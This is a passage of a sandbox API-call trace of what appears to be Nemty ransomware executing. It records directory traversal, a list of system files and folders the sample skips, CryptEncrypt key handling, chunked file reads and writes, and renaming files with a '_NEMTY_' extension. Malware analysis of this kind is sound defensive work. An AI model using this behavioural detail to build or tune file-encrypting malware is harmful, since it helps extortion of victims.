lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.404] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.404] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.404] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.419] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.425] CloseHandle (hObject=0xffffffff) returned 0 [0053.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0053.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.425] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0053.425] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0053.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0053.425] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.426] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0053.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.426] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2=".") returned 1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="..") returned 1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="...") returned 1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="windows") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="rsa") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="IO.SYS") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="boot.ini") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="boot.ini") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="desktop.ini") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned -1 [0053.426] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="bootmgr") returned -1 [0053.427] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="programdata") returned -1 [0053.427] lstrcmpiW (lpString1="4to3Squareframe_SelectionSubpicture.png", lpString2="appdata") returned -1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94268 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0053.427] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4to3Squareframe_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94268 [0053.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0053.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94320 [0053.427] Sleep (dwMilliseconds=0x5) [0053.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd37e0a10, dwHighDateTime=0x1d561e7)) [0053.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd37e0a10, dwHighDateTime=0x1d561e7)) [0053.428] GetLastError () returned 0x5 [0053.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.428] GetLastError () returned 0x5 [0053.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.428] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0053.428] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0053.429] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0053.429] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="+jWzQQCEOGaqGl5qBbGTDQxPJeOvay9RcTbf3YyjAypmGzYN+HKigwQJk2r8EqeR\r\njUgsicFsGfbHT9fwWCbAh40Qkr/fMa/rbr7QmaogcF9/S3P7erb5rr21z5TMhNsn\r\ni2wdi7zia6/FybAFMXUKbNEtkQ8fF9UFXx05qnnrKQMDGumy2wZsK1N5tHkXyoPx\r\noaA8EJVjcyCccYNPm7mHNwpNWQhnZ0+rdHxSNIzsn+gOozAt1m8ELWASZzAw/kfc\r\n26TFKzJnrOZyJN7+s8uWKRSY8OaVfX3dY0RFoXB7GTksCCFvoQdev+yOfEI9CxAy\r\n2yD7whI8+RRpshd9JJTcDQ==\r\n", pcchString=0x653ec5c) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0053.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0053.429] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.429] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0053.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.439] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.448] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.457] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.457] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.467] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.476] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.476] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.495] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.495] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.523] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0053.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0053.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, 